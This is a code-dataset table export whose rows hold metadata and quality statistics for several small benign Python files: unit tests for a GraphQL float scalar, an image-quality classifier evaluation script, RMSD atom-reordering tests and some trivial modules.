hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2ce56a9b0e0c157f7e782260b13eb1a92f339066 | 217 | py | Python | getting_started/issubclass.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | getting_started/issubclass.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | getting_started/issubclass.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
assert issubclass(int, int)
assert not issubclass(int, float)
assert issubclass(int, (int, float))
class CA:
pass
class CB(CA):
pass
assert issubclass(CB, CA)
| 15.5 | 36 | 0.672811 | 32 | 217 | 4.5625 | 0.5 | 0.328767 | 0.260274 | 0.30137 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011173 | 0.175115 | 217 | 13 | 37 | 16.692308 | 0.804469 | 0.198157 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | true | 0.25 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
fa528401db1ce31fdfc94eb35c7fce4661a5ef57 | 5,843 | py | Python | tests/unit/scalar/test_float.py | remorses/tartiflette-whl | 92bed13de130a7a88278d7019314135e01281259 | [
"MIT"
] | 530 | 2019-06-04T11:45:36.000Z | 2022-03-31T09:29:56.000Z | tests/unit/scalar/test_float.py | remorses/tartiflette-whl | 92bed13de130a7a88278d7019314135e01281259 | [
"MIT"
] | 242 | 2019-06-04T11:53:08.000Z | 2022-03-28T07:06:27.000Z | tests/unit/scalar/test_float.py | remorses/tartiflette-whl | 92bed13de130a7a88278d7019314135e01281259 | [
"MIT"
] | 36 | 2019-06-21T06:40:27.000Z | 2021-11-04T13:11:16.000Z | from decimal import Decimal
import pytest
from tartiflette.scalar.builtins.float import ScalarFloat
@pytest.mark.parametrize(
"value,should_raise_exception,expected",
[
(None, True, "Float cannot represent non numeric value: < None >."),
(True, False, 1.0),
(False, False, 0.0),
("", True, "Float cannot represent non numeric value: < >."),
(0, False, 0.0),
(1, False, 1.0),
(3, False, 3.0),
(0.0, False, 0.0),
(1.0, False, 1.0),
(3.0, False, 3.0),
(0.1, False, 0.1),
(1.1, False, 1.1),
(3.1, False, 3.1),
(Decimal(0.0), False, 0.0),
(Decimal(1.0), False, 1.0),
(Decimal(3.0), False, 3.0),
(Decimal(0.1), False, 0.1),
(Decimal(1.1), False, 1.1),
(Decimal(3.1), False, 3.1),
("0", False, 0.0),
("1", False, 1.0),
("3", False, 3.0),
("0.0", False, 0.0),
("1.0", False, 1.0),
("3.0", False, 3.0),
("0.1", False, 0.1),
("1.1", False, 1.1),
("3.1", False, 3.1),
("0e0", False, 0.0),
("1e0", False, 1.0),
("3e0", False, 3.0),
("0e1", False, 0.0),
("1e1", False, 10.0),
("3e1", False, 30.0),
("0.1e1", False, 1.0),
("1.1e1", False, 11.0),
("3.1e1", False, 31.0),
("0.11e1", False, 1.1),
("1.11e1", False, 11.1),
("3.11e1", False, 31.1),
(
float("inf"),
True,
"Float cannot represent non numeric value: < inf >.",
),
("A", True, "Float cannot represent non numeric value: < A >."),
("{}", True, "Float cannot represent non numeric value: < {} >."),
({}, True, "Float cannot represent non numeric value: < {} >."),
(
Exception("LOL"),
True,
"Float cannot represent non numeric value: < LOL >.",
),
(
Exception,
True,
"Float cannot represent non numeric value: < <class 'Exception'> >.",
),
],
)
def test_scalar_float_coerce_output(value, should_raise_exception, expected):
if should_raise_exception:
with pytest.raises(TypeError, match=expected):
ScalarFloat().coerce_output(value)
else:
assert ScalarFloat().coerce_output(value) == expected
@pytest.mark.parametrize(
"value,should_raise_exception,expected",
[
(None, True, "Float cannot represent non numeric value: < None >."),
(True, True, "Float cannot represent non numeric value: < True >."),
(False, True, "Float cannot represent non numeric value: < False >."),
("", True, "Float cannot represent non numeric value: < >."),
(0, False, 0.0),
(1, False, 1.0),
(3, False, 3.0),
(0.0, False, 0.0),
(1.0, False, 1.0),
(3.0, False, 3.0),
(0.1, False, 0.1),
(1.1, False, 1.1),
(3.1, False, 3.1),
("0", True, "Float cannot represent non numeric value: < 0 >."),
("1", True, "Float cannot represent non numeric value: < 1 >."),
("3", True, "Float cannot represent non numeric value: < 3 >."),
("0.0", True, "Float cannot represent non numeric value: < 0.0 >."),
("1.0", True, "Float cannot represent non numeric value: < 1.0 >."),
("3.0", True, "Float cannot represent non numeric value: < 3.0 >."),
("0.1", True, "Float cannot represent non numeric value: < 0.1 >."),
("1.1", True, "Float cannot represent non numeric value: < 1.1 >."),
("3.1", True, "Float cannot represent non numeric value: < 3.1 >."),
("0e0", True, "Float cannot represent non numeric value: < 0e0 >."),
("1e0", True, "Float cannot represent non numeric value: < 1e0 >."),
("3e0", True, "Float cannot represent non numeric value: < 3e0 >."),
("0e1", True, "Float cannot represent non numeric value: < 0e1 >."),
("1e1", True, "Float cannot represent non numeric value: < 1e1 >."),
("3e1", True, "Float cannot represent non numeric value: < 3e1 >."),
(
"0.1e1",
True,
"Float cannot represent non numeric value: < 0.1e1 >.",
),
(
"1.1e1",
True,
"Float cannot represent non numeric value: < 1.1e1 >.",
),
(
"3.1e1",
True,
"Float cannot represent non numeric value: < 3.1e1 >.",
),
(
"0.11e1",
True,
"Float cannot represent non numeric value: < 0.11e1 >.",
),
(
"1.11e1",
True,
"Float cannot represent non numeric value: < 1.11e1 >.",
),
(
"3.11e1",
True,
"Float cannot represent non numeric value: < 3.11e1 >.",
),
(
float("inf"),
True,
"Float cannot represent non numeric value: < inf >.",
),
("A", True, "Float cannot represent non numeric value: < A >."),
("{}", True, "Float cannot represent non numeric value: < {} >."),
({}, True, "Float cannot represent non numeric value: < {} >."),
(
Exception("LOL"),
True,
"Float cannot represent non numeric value: < LOL >.",
),
(
Exception,
True,
"Float cannot represent non numeric value: < <class 'Exception'> >.",
),
],
)
def test_scalar_float_coerce_input(value, should_raise_exception, expected):
if should_raise_exception:
with pytest.raises(TypeError, match=expected):
ScalarFloat().coerce_input(value)
else:
assert ScalarFloat().coerce_input(value) == expected
| 35.198795 | 81 | 0.492042 | 686 | 5,843 | 4.155977 | 0.077259 | 0.123115 | 0.205191 | 0.328306 | 0.856892 | 0.81866 | 0.815503 | 0.747106 | 0.593476 | 0.521221 | 0 | 0.07373 | 0.336129 | 5,843 | 165 | 82 | 35.412121 | 0.661253 | 0 | 0 | 0.477987 | 0 | 0 | 0.3796 | 0.012665 | 0 | 0 | 0 | 0 | 0.012579 | 1 | 0.012579 | false | 0 | 0.018868 | 0 | 0.031447 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fa6db850f6af372a5a536faeb89f52657c3a29d5 | 38 | py | Python | sayhello/__init__.py | frzmohammadali/my_pypi_package | 96d12da422cd1d4a644f4742aeed6aa15960e3f5 | [
"MIT"
] | null | null | null | sayhello/__init__.py | frzmohammadali/my_pypi_package | 96d12da422cd1d4a644f4742aeed6aa15960e3f5 | [
"MIT"
] | null | null | null | sayhello/__init__.py | frzmohammadali/my_pypi_package | 96d12da422cd1d4a644f4742aeed6aa15960e3f5 | [
"MIT"
] | null | null | null | def dummy():
print('dummy func!')
| 12.666667 | 24 | 0.578947 | 5 | 38 | 4.4 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 38 | 2 | 25 | 19 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0.289474 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
d74068eb68232462e579371868414fa8a7448301 | 1,022 | py | Python | utils/__init__.py | Dizzy-cell/HOUV | f7ed05d1b0bb775b22b682c82607252a7a734850 | [
"Apache-2.0"
] | 78 | 2021-07-09T13:44:23.000Z | 2022-03-27T15:16:35.000Z | utils/__init__.py | Dizzy-cell/HOUV | f7ed05d1b0bb775b22b682c82607252a7a734850 | [
"Apache-2.0"
] | 26 | 2021-07-11T08:11:29.000Z | 2022-03-29T15:51:37.000Z | utils/__init__.py | Dizzy-cell/HOUV | f7ed05d1b0bb775b22b682c82607252a7a734850 | [
"Apache-2.0"
] | 5 | 2021-07-25T12:31:06.000Z | 2022-03-14T15:14:22.000Z | from .metrics import (cd, fscore, emd)
from .mm3d_pn2 import (nms, RoIAlign, roi_align, get_compiler_version, get_compiling_cuda_version,
NaiveSyncBatchNorm1d, NaiveSyncBatchNorm2d, sigmoid_focal_loss, SigmoidFocalLoss, ball_query, knn,
furthest_point_sample, furthest_point_sample_with_dist, three_interpolate, three_nn, gather_points,
grouping_operation, group_points, GroupAll, QueryAndGroup, get_compiler_version, get_compiling_cuda_version,
Points_Sampler)
__all__ = [
'cd', 'fscore', 'emd',
'nms',
'RoIAlign', 'roi_align', 'get_compiler_version',
'get_compiling_cuda_version', 'NaiveSyncBatchNorm1d',
'NaiveSyncBatchNorm2d',
'sigmoid_focal_loss',
'SigmoidFocalLoss',
'ball_query', 'knn', 'furthest_point_sample',
'furthest_point_sample_with_dist', 'three_interpolate', 'three_nn',
'gather_points', 'grouping_operation', 'group_points', 'GroupAll',
'QueryAndGroup',
'get_compiler_version',
'get_compiling_cuda_version', 'Points_Sampler',
] | 46.454545 | 112 | 0.755382 | 112 | 1,022 | 6.383929 | 0.383929 | 0.061538 | 0.100699 | 0.117483 | 0.917483 | 0.917483 | 0.917483 | 0.917483 | 0.917483 | 0.917483 | 0 | 0.006795 | 0.136008 | 1,022 | 22 | 113 | 46.454545 | 0.802945 | 0 | 0 | 0 | 0 | 0 | 0.356794 | 0.101662 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.095238 | 0 | 0.095238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d77be5cbe92632adbf7f0621b4baf3aa90967ee7 | 131 | py | Python | UI/__init__.py | fossabot/Taurus | f042addc24a3b76713649e08a0f2b3756bdeac28 | [
"MIT"
] | null | null | null | UI/__init__.py | fossabot/Taurus | f042addc24a3b76713649e08a0f2b3756bdeac28 | [
"MIT"
] | 1 | 2019-07-13T14:50:49.000Z | 2019-07-13T14:50:49.000Z | UI/__init__.py | fossabot/Taurus | f042addc24a3b76713649e08a0f2b3756bdeac28 | [
"MIT"
] | 1 | 2019-07-13T14:48:18.000Z | 2019-07-13T14:48:18.000Z | #!/usr/bin/python
from config import USE_THEIR_UI
#if USE_THEIR_UI:
# from UI.UI_theirs import *
#else:
from UI.UI_ours import *
| 14.555556 | 31 | 0.748092 | 24 | 131 | 3.833333 | 0.541667 | 0.173913 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145038 | 131 | 8 | 32 | 16.375 | 0.821429 | 0.48855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ad14a1687e641ca5d2326858adb3170c733a644b | 7,097 | py | Python | test.py | ferriswym/learn-with-noisy-labels | 02c90be32cae00ff7f0eb271fbb007b77dd0c0d7 | [
"MIT"
] | 15 | 2019-05-10T10:58:30.000Z | 2021-12-15T04:06:49.000Z | test.py | ferriswym/learn-with-noisy-labels | 02c90be32cae00ff7f0eb271fbb007b77dd0c0d7 | [
"MIT"
] | null | null | null | test.py | ferriswym/learn-with-noisy-labels | 02c90be32cae00ff7f0eb271fbb007b77dd0c0d7 | [
"MIT"
] | 1 | 2020-03-31T07:23:35.000Z | 2020-03-31T07:23:35.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 9 15:02:53 2019
@author: yuming
"""
import sys
sys.path.append('/home/yuming/projects/learn-with-noisy-labels/nets')
import os
import torch
import numpy as np
import pandas as pd
from squeezenet import squeezenet1_1
from PIL import Image
def test_crop(model, test_file, output_path):
model.eval()
confusion_matrix = np.zeros((3, 3), dtype=int)
label_dic = {'repeat': 0, 'fuzzy': 1, 'clear': 2}
clear = ['normal', 'second_tiled', 'tiled', 'background']
counter = 0
with open(test_file) as f:
mean = torch.tensor([123, 117, 104], dtype=torch.float32)
files = f.readlines()
total = len(files)
for l in files:
full_path = l.split(' ')[0]
img = torch.tensor(np.expand_dims(np.array(Image.open(
full_path)), 0).transpose((0, 3, 1, 2)), dtype=torch.float32)
img = img.sub_(mean[:, None, None]).div_(torch.tensor(256, dtype=torch.float32))
label = full_path.split('/')[-2]
if label in clear:
label = 'clear'
output = model(img)
_, predicted = torch.max(output.data, 1)
confusion_matrix[label_dic[label]][int(predicted)] += 1
if counter % (total // 50) == 0 or counter == total:
sys.stdout.write('\rcomplete {:.2f}%'.format(100. * counter / total))
sys.stdout.flush()
counter += 1
print('\n')
print(confusion_matrix)
sum_recall = np.sum(confusion_matrix, 1)
sum_precision = np.sum(confusion_matrix, 0)
truth_positive = np.diag(confusion_matrix) # TP for each class corresponding to its index
recall = 1. * truth_positive / sum_recall
precision = 1. * truth_positive / sum_precision
precision_ = np.hstack((precision, np.array([np.nan]))) # precision with one more empty element
# confusion_matrix_with_recall
confusion_matrix_ = np.hstack((confusion_matrix, recall.reshape((recall.shape[0], 1))))
# confusion_matrix_with_recall_and_precision
_confusion_matrix_ = np.vstack((confusion_matrix_, precision_.reshape(1, precision_.shape[0])))
cols = ['repeat', 'fuzzy', 'clear']
rows = ['repeat', 'fuzzy', 'clear']
cols.append('Recall')
rows.append('Precision')
df_confusion_matrix = pd.DataFrame(_confusion_matrix_, index=rows, columns=cols)
df_confusion_matrix.to_csv(os.path.join(output_path, "crop.csv"), encoding='utf-8')
def test_full(model, test_file, output_path):
model.eval()
confusion_matrix = np.zeros((3, 3), dtype=int)
label_dic = {'repeat': 0, 'fuzzy': 1, 'clear': 2}
clear = ['normal', 'second_tilted', 'tilted', 'background']
counter = 0
with open(test_file) as f:
mean = torch.tensor([123, 117, 104], dtype=torch.float32)
files = f.readlines()
total = len(files)
for l in files:
l = l.strip()
full_path = l.split(' ')[0]
try:
img_source = Image.open(full_path)
img = torch.tensor(np.expand_dims(np.array(img_source
), 0).transpose((0, 3, 1, 2)), dtype=torch.float32)
img = img.sub_(mean[:, None, None]).div_(torch.tensor(256, dtype=torch.float32))
except:
print('\n' + full_path)
continue
label = full_path.split('/')[-2]
if label in clear:
label = 'clear'
# top left
try:
img_crop = img[:, :, img.shape[2]*2//5 - 112:img.shape[2]*2//5 + 112, img.shape[3]*2//5 - 112:img.shape[3]*2//5 + 112]
output = model(img_crop)
except:
img_crop = img[:, :, 0:224, 0:224]
output = model(img_crop)
# top right
try:
img_crop = img[:, :, img.shape[2]*3//5 - 112:img.shape[2]*3//5 + 112, img.shape[3]*2//5 - 112:img.shape[3]*2//5 + 112]
output += model(img_crop)
except:
img_crop = img[:, :, img.shape[2] - 224:img.shape[2], 0:224]
output += model(img_crop)
# bottom left
try:
img_crop = img[:, :, img.shape[2]*2//5 - 112:img.shape[2]*2//5 + 112, img.shape[3]*3//5 - 112:img.shape[3]*3//5 + 112]
output += model(img_crop)
except:
img_crop = img[:, :, 0:224, img.shape[3] - 224:img.shape[3]]
output += model(img_crop)
# bottom right
try:
img_crop = img[:, :, img.shape[2]*3//5 - 112:img.shape[2]*3//5 + 112, img.shape[3]*3//5 - 112:img.shape[3]*3//5 + 112]
output += model(img_crop)
except:
img_crop = img[:, :, img.shape[2] - 224:img.shape[2], img.shape[3] - 224:img.shape[3]]
output += model(img_crop)
img_crop = img[:, :, img.shape[2]//2 - 112:img.shape[2]//2 + 112, img.shape[3]//2 - 112:img.shape[3]//2 + 112]
output += model(img_crop)
_, predicted = torch.max(output.data, 1)
# print(int(predicted))
confusion_matrix[label_dic[label]][int(predicted)] += 1
if counter % (total // 50) == 0 or counter == total:
sys.stdout.write('\rcomplete {:.2f}%'.format(100. * counter / total))
sys.stdout.flush()
counter += 1
print('\n')
print(confusion_matrix)
sum_recall = np.sum(confusion_matrix, 1)
sum_precision = np.sum(confusion_matrix, 0)
truth_positive = np.diag(confusion_matrix) # TP for each class corresponding to its index
recall = 1. * truth_positive / sum_recall
precision = 1. * truth_positive / sum_precision
precision_ = np.hstack((precision, np.array([np.nan]))) # precision with one more empty element
# confusion_matrix_with_recall
confusion_matrix_ = np.hstack((confusion_matrix, recall.reshape((recall.shape[0], 1))))
# confusion_matrix_with_recall_and_precision
_confusion_matrix_ = np.vstack((confusion_matrix_, precision_.reshape(1, precision_.shape[0])))
cols = ['repeat', 'fuzzy', 'clear']
rows = ['repeat', 'fuzzy', 'clear']
cols.append('Recall')
rows.append('Precision')
df_confusion_matrix = pd.DataFrame(_confusion_matrix_, index=rows, columns=cols)
df_confusion_matrix.to_csv(os.path.join(output_path, "full.csv"), encoding='utf-8')
if __name__ == '__main__':
model = squeezenet1_1(num_classes=4)
state_dict = torch.load('/home/yuming/projects/learn-with-noisy-labels/models/finetune_0418.pth')
model.load_state_dict(state_dict)
test_crop_file = '/data/yuming/image_qa/data/fuzzy_test_crop.txt'
test_full_file = '/data/yuming/image_qa/data/files.txt'
output_path = '/home/yuming/projects/learn-with-noisy-labels/results'
test_crop(model, test_crop_file, output_path)
test_full(model, test_full_file, output_path) | 45.49359 | 134 | 0.582218 | 937 | 7,097 | 4.234792 | 0.178228 | 0.113407 | 0.041583 | 0.03629 | 0.84123 | 0.826109 | 0.788306 | 0.743952 | 0.727319 | 0.727319 | 0 | 0.052814 | 0.268987 | 7,097 | 156 | 135 | 45.49359 | 0.712028 | 0.068057 | 0 | 0.684615 | 0 | 0 | 0.081753 | 0.038677 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015385 | false | 0 | 0.053846 | 0 | 0.069231 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ad2162dfddb6446238239981506c611613621399 | 52 | py | Python | utils/__init__.py | magnusnordlander/silvia-pi | 3b927f73f8c8608a17f1f0e6458d06eff0f1d09a | [
"MIT"
] | 16 | 2020-06-09T22:34:18.000Z | 2021-02-09T15:31:16.000Z | utils/__init__.py | magnusnordlander/silvia-pi | 3b927f73f8c8608a17f1f0e6458d06eff0f1d09a | [
"MIT"
] | null | null | null | utils/__init__.py | magnusnordlander/silvia-pi | 3b927f73f8c8608a17f1f0e6458d06eff0f1d09a | [
"MIT"
] | 1 | 2020-09-03T15:21:15.000Z | 2020-09-03T15:21:15.000Z | from .ResizableRingBuffer import ResizableRingBuffer | 52 | 52 | 0.923077 | 4 | 52 | 12 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057692 | 52 | 1 | 52 | 52 | 0.979592 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ad520c9b4ee550ad888a466d3c49ba98e98bef7b | 2,924 | py | Python | tests/test_reorder_qml.py | jkha-unist/rmsd | 60c996d51aafce17929ae1f157d72ea4e2fcbbf2 | [
"BSD-2-Clause"
] | null | null | null | tests/test_reorder_qml.py | jkha-unist/rmsd | 60c996d51aafce17929ae1f157d72ea4e2fcbbf2 | [
"BSD-2-Clause"
] | 2 | 2018-09-04T13:48:01.000Z | 2018-09-04T13:51:32.000Z | tests/test_reorder_qml.py | jkha-unist/rmsd | 60c996d51aafce17929ae1f157d72ea4e2fcbbf2 | [
"BSD-2-Clause"
] | null | null | null | import copy
import pathlib
import numpy as np
import pytest
from constants import RESOURCE_PATH
import rmsd
qml = pytest.importorskip("qml")
def test_reorder_qml():
filename_1 = pathlib.PurePath(RESOURCE_PATH, "CHEMBL3039407.xyz")
p_atoms, p_coord = rmsd.get_coordinates_xyz(filename_1)
# Reorder atoms
n_atoms = len(p_atoms)
random_reorder = np.arange(n_atoms, dtype=int)
np.random.seed(5)
np.random.shuffle(random_reorder)
q_atoms = copy.deepcopy(p_atoms)
q_coord = copy.deepcopy(p_coord)
q_atoms = q_atoms[random_reorder]
q_coord = q_coord[random_reorder]
# Mess up the distance matrix by rotating the molecule
theta = 180.0
rotation_y = np.array(
[
[np.cos(theta), 0, np.sin(theta)],
[0, 1, 0],
[-np.sin(theta), 0, np.cos(theta)],
]
)
q_coord = np.dot(q_coord, rotation_y)
# Reorder with standard hungarian, this will fail reorder and give large
# RMSD
view_dist = rmsd.reorder_hungarian(p_atoms, q_atoms, p_coord, q_coord)
q_atoms_dist = q_atoms[view_dist]
q_coord_dist = q_coord[view_dist]
_rmsd_dist = rmsd.kabsch_rmsd(p_coord, q_coord_dist)
assert q_atoms_dist.tolist() == p_atoms.tolist()
assert _rmsd_dist > 3.0
# Reorder based in chemical similarity
view = rmsd.reorder_similarity(p_atoms, q_atoms, p_coord, q_coord)
q_atoms = q_atoms[view]
q_coord = q_coord[view]
# Calculate new RMSD with correct atom order
_rmsd = rmsd.kabsch_rmsd(p_coord, q_coord)
# Assert correct atom order
assert q_atoms.tolist() == p_atoms.tolist()
# Assert this is the same molecule
pytest.approx(0.0) == _rmsd
def test_reorder_qml_distmat():
filename_1 = pathlib.PurePath(RESOURCE_PATH, "CHEMBL3039407.xyz")
p_atoms, p_coord = rmsd.get_coordinates_xyz(filename_1)
# Reorder atoms
n_atoms = len(p_atoms)
random_reorder = np.arange(n_atoms, dtype=int)
np.random.seed(5)
np.random.shuffle(random_reorder)
q_atoms = copy.deepcopy(p_atoms)
q_coord = copy.deepcopy(p_coord)
q_atoms = q_atoms[random_reorder]
q_coord = q_coord[random_reorder]
# Mess up the distance matrix by rotating the molecule
theta = 180.0
rotation_y = np.array(
[
[np.cos(theta), 0, np.sin(theta)],
[0, 1, 0],
[-np.sin(theta), 0, np.cos(theta)],
]
)
q_coord = np.dot(q_coord, rotation_y)
# Reorder based in chemical similarity
view = rmsd.reorder_similarity(
p_atoms, q_atoms, p_coord, q_coord, use_kernel=False
)
q_atoms = q_atoms[view]
q_coord = q_coord[view]
# Calculate new RMSD with correct atom order
_rmsd = rmsd.kabsch_rmsd(p_coord, q_coord)
# Assert correct atom order
assert q_atoms.tolist() == p_atoms.tolist()
# Assert this is the same molecule
pytest.approx(0.0) == _rmsd
